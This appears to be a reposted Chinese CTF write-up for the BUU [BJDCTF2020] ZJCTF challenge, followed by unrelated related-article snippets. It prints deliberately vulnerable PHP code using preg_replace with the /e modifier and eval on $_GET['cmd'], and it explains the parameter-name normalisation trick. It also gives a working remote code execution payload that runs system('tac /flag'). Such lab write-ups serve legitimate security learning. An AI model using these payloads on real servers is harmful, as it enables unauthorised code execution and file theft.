BUU-[BJDCTF2020]ZJCTF,不过如此

news/2026/1/26 20:53:53/文章来源:https://www.cnblogs.com/tobeCTFer/p/19535534

BUU-[BJDCTF2020]ZJCTF,不过如此

//next.php
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;function complex($re, $str)
{return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}foreach ($_GET as $re => $str) {echo complex($re, $str) . "\n";
}function getFlag()
{@eval($_GET['cmd']);
}

解释一下在正则表达式中()的一个作用: 捕获

<?php
preg_replace('/(' . "dir" . ')/ei','system("\\1")',"dir"
);/*
1.在subject中寻找dir字符串
2. 找到了!而且因为在正则中使用了()进行包围, 所以会对捕获进行记录, 其中\1对应的就是捕获到的第一个记录, 也就是dir
3. 因为设置了/e, 所以preg_replace在进行替换之前会eval第二个参数
4. 实际上执行的是system("dir")
*/
简单的就是因为在正则中加入了(),所以会对捕获进行记录,类似于数组的键值对,\1对应的就是第一个捕获,\2就是第二个捕获

所以我们理所当然的认为payload可以这样构造:
?.*={${phpinfo()}}
在解释这个payload不行之前说明一下{${phpinfo()}}的作用:
php会认为{${}}里面的内容是一个表达式, 会先执行表达式的内容,当然了, 如果是使用单引号包围就不行, 因为单引号的内容会被当作是纯静态字符

至于为什么这个payload不行, 是因为php会对GET传入的键值对进行规范化, 会把不规范的字符规范为_, 所以实际上是_*={${phpinfo()}}

正确的payload是:?\S*={${getFlag()}}&cmd=system('tac /flag');
在正则表达式中: \S表示的是匹配任意的非空白字符
执行的流程是:
1.

function complex($re, $str)
{return preg_replace('/(\S*)/ei','strtolower("\\1")',"{${getFlag()}}");
}
  1. 捕获到了{${getFlag()}}
  2. \1 -> {${getFlag()}}
  3. strtolower("{${getFlag()}}")
  4. php对表达式进行解析: getFlag()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1220769.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Sealos 私有化 vs 公有云:什么场景该选哪个

说实话&#xff0c;这个问题我被问了不下一百遍。每次我都想反问一句&#xff1a;你到底在纠结什么&#xff1f;先说结论&#xff1a;大部分人不需要私有化我见过太多这样的场景&#xff1a;一个三五人的小团队&#xff0c;项目刚起步&#xff0c;用户量还没破万&#xff0c;上…

2026年高定木作/轻法式木作厂家推荐榜:门墙柜一体化、整屋定制、全屋木作,匠心工艺与空间美学融合之选

2026年高定木作/轻法式木作厂家推荐榜:门墙柜一体化、整屋定制、全屋木作,匠心工艺与空间美学融合之选 随着消费升级与居住理念的深化,家居空间已从单一的功能承载,演变为个人审美与生活方式的集中表达。在这一背景…

深度测评!MBA必看8款AI论文工具:开题报告与文献综述全解析

深度测评&#xff01;MBA必看8款AI论文工具&#xff1a;开题报告与文献综述全解析 为什么需要一份权威的AI论文工具测评&#xff1f; 随着人工智能技术在学术领域的广泛应用&#xff0c;MBA学生在撰写开题报告与文献综述时&#xff0c;对高效、专业的AI写作工具需求日益增长。然…

提示工程架构师案例:法律领域模型的提示适配准确性提升方案(附数据集)

提示工程架构师实战:法律领域大模型的提示适配准确性提升方案(附开源数据集与落地案例) 元数据框架 标题:提示工程架构师实战:法律领域大模型的提示适配准确性提升方案(附开源数据集与落地案例) 关键词:提示工程、法律大模型、Prompt Adaptation、法律AI准确性、法律…

三台机器部署 Sealos 私有云,完整操作手册

三年后回头看&#xff0c;私有化部署这件事可能是很多团队命运的分水岭。第一年&#xff1a;成本账开始算清楚当你用三台机器把 Sealos 私有云跑起来的那一刻&#xff0c;其实启动了一个计时器。第一年大概率会发现&#xff1a;原来云厂商账单里藏着这么多"隐形税"。…

FT232R USB UART驱动下载 附快速安装方案

FT232R USB UART 是 FTDI 推出的一款常见 USB 转串口芯片&#xff0c;广泛应用于单片机开发、嵌入式调试、串口通信模块等设备中。当电脑无法识别串口、设备管理器中出现未知设备&#xff0c;或 COM 端口无法正常使用时&#xff0c;通常是 FT232R USB UART 驱动缺失或版本不兼容…

MCP通信的双方是谁?

MCP的通信两端,一端是Client(如Claude Desktop,一个应用),另一端是Server(工具提供方)。大模型只是Client应用中的一个“推理引擎”组件。** MCP协议的订立,不直接面向大模型,而是面向构建了这些模型的应用或…

使用YOLOv26实现乌鸦鸽子麻雀等城市鸟类自动检测与分类

本数据集名为Crow Detection&#xff0c;是一个用于鸟类检测的专用数据集&#xff0c;于2024年1月18日通过qunshankj平台导出。该数据集包含720张图像&#xff0c;所有图像均采用YOLOv8格式进行标注&#xff0c;专注于三种常见鸟类&#xff1a;乌鸦(crow)、鸽子(pigeon)和麻雀(…

人群仿真软件:Vadere_(15).社区与支持资源

社区与支持资源 在进行人群仿真软件的二次开发过程中&#xff0c;社区和支持资源是不可或缺的一部分。这些资源提供了丰富的文档、教程、示例代码和用户反馈&#xff0c;帮助开发者更好地理解和使用软件。本节将详细介绍如何利用这些资源&#xff0c;包括官方文档、用户论坛、…

2026年度热门盘点原创音乐人首选的5款AI编曲软件

在当今音乐创作的浪潮中&#xff0c;AI编曲软件正逐渐成为原创音乐人的得力助手。它们凭借强大的技术能力&#xff0c;不仅能大幅提升创作效率&#xff0c;还能为音乐带来更多新颖的元素和风格。这些软件打破了传统创作的时间和空间限制&#xff0c;让音乐人可以更自由地发挥创…

怎么快速完成编曲?盘点原创音乐人常用的5款AI编曲软件

在音乐创作的领域里&#xff0c;时间和效率往往是原创音乐人面临的一大挑战。传统的编曲过程&#xff0c;从灵感捕捉到旋律构建&#xff0c;再到和声编排和节奏设计&#xff0c;每一个环节都需要耗费大量的时间和精力。而如今&#xff0c;AI编曲软件的出现为音乐人带来了新的曙…

统一白名单服务治理组件

服务治理组件&#xff1a;统一白名单控制 一、背景与问题 在微服务架构下&#xff0c;白名单控制几乎是必需能力&#xff1a; 接口级访问控制&#xff08;IP / 应用 / 用户&#xff09;灰度、内测、运营活动限制风控与安全兜底临时封禁、应急止血 但现实中常见问题是&#xff1…

企业级远控赋能跨境电商:企业如何实现云端运营提效?

中国企业通过跨境电商实现“B to C”业务出海所带来的贸易增量&#xff0c;是支撑经济发展“外循环”的重要组成部分。随着我国数字经济与外贸规模持续扩大&#xff0c;跨境电商出口保持强劲增长态势。 数据显示&#xff0c;截至2025年前三季度&#xff0c;中国跨境电商进出口总…

专科生必看!10个高效降aigc工具推荐,避坑指南来啦

专科生必看&#xff01;10个高效降aigc工具推荐&#xff0c;避坑指南来啦 AI降重工具&#xff0c;让论文更“自然” 随着人工智能技术的不断发展&#xff0c;越来越多的专科生在撰写论文时开始依赖AI辅助工具。然而&#xff0c;AI生成的内容往往带有明显的痕迹&#xff0c;导致…

archlinux 更新遇到问题

有可能是长期不更新出现的 可以尝试# 2. 更新密钥环 sudo pacman -Sy archlinux-keyring然后再更新# 4. 完整系统更新 sudo pacman -Syu如果失败,可以将报错的包删除,再次执行系统更新

手机电脑都能用!跨平台体验最佳的视频提取文字在线免费网站盘点

在自媒体创作、职场办公、学习备考等场景中&#xff0c;我们常需要从视频中提取文字——可能是复刻爆款文案、整理会议纪要&#xff0c;也可能是转写网课重点。手动转录不仅耗时费力&#xff0c;准确率还难以保证&#xff0c;而一款优质的视频提取文字在线免费网站&#xff0c;…

防雷接地材料批发避坑指南|选对材料=省成本+保安全,工程采购必看!

建筑、电力、通信工程中,防雷接地从来不是“配角”——一次材料选型失误,可能导致工程返工、验收失败,甚至埋下雷电灾害隐患,让前期所有投入付诸东流!作为深耕防雷接地材料批发领域 10 余年的从业者,见过太多采购…

【MyCat】第6章----HA 机制的 Mycat 高可用

文章目录6.1 高可用方案6.2 安装配置 HAProxy1、 安装 HAProxy2、 启动验证6.3 配置 Keepalived1、 安装 Keepalived2、 启动验证6.4 测试高可用1、 测试步骤在实际项目中&#xff0c;Mycat 服务也需要考虑高可用性&#xff0c;如果 Mycat 所在服务器出现宕机&#xff0c;或 My…

2026年度深度盘点原创音乐人常备的5款AI编曲软件

在当今数字化浪潮席卷的音乐领域&#xff0c;AI编曲软件正逐渐成为原创音乐人手中的得力工具。它们以强大的技术能力&#xff0c;为音乐创作带来了前所未有的便捷与创新。这些软件能够快速生成旋律、编排和声、创作歌词&#xff0c;甚至模拟各种乐器音色和演唱风格&#xff0c;…

专业级编曲师的选择,深度盘点原创音乐人推荐的5款AI编曲软件

在当今科技飞速发展的时代&#xff0c;音乐创作领域也迎来了一场前所未有的变革&#xff0c;AI编曲软件的出现为音乐人们带来了全新的创作体验和无限可能。这些软件凭借强大的人工智能技术&#xff0c;能够高效地完成编曲、作曲、填词等一系列音乐创作任务&#xff0c;极大地提…